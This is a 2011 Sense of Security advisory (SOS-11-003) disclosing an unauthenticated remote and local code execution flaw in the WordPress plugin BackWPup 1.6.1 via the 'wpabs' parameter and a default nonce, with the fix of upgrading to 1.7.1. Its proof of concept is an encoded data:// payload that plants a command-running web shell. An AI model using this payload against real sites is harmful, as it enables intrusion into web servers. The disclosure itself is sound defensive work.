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Wordpress plugin BackWPup Remote and Local Code Execution Vulnerability - SOS-11-003
From: "Lists" <lists () senseofsecurity com au>
Date: Mon, 28 Mar 2011 15:15:46 +1100

Sense of Security - Security Advisory - SOS-11-003

Release Date.                  28-Mar-2011
Last Update.                   -
Vendor Notification Date.      25-Mar-2011
Product.                       Wordpress Plugin BackWPup
Platform.                      Independent
Affected versions.             1.6.1 (verified), possibly others
Severity Rating.               High
Impact.                        System Access
Attack Vector.                 Remote without authentication
Solution Status.               Upgrade to version 1.7.1
CVE reference.                 Not yet assigned

Details.
A vulnerability has been discovered in the Wordpress plugin BackWPup 1.6.1 which can be exploited to execute local or remote code on the web server. The Input passed to the component "wp_xml_export.php" via the "wpabs" variable allows the inclusion and execution of local or remote PHP files as long as a "_nonce" value is known. The "_nonce" value relies on a static constant which is not defined in the script meaning that it defaults to the value "822728c8d9".

Proof of Concept.
wp_xml_export.php?_nonce=822728c8d9&wpabs=data://text/plain;base64,PGZ
vcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8%2bIiBtZX Rob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4Ij48aW5wdXQgdHlwZT0 ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0%2bPHByZT48PyAKZWNobyBgeyRfUE9TVF
sneCddfWA7ID8%2bPC9wcmU%2bPD8gZGllKCk7ID8%2bCgo%3d

Solution.
Upgrade to version 1.7.1

Discovered by.
Phil Taylor - Sense of Security Labs.

Sense of Security Pty Ltd
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA
T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info () senseofsecurity com au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-11-003.pdf

Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php


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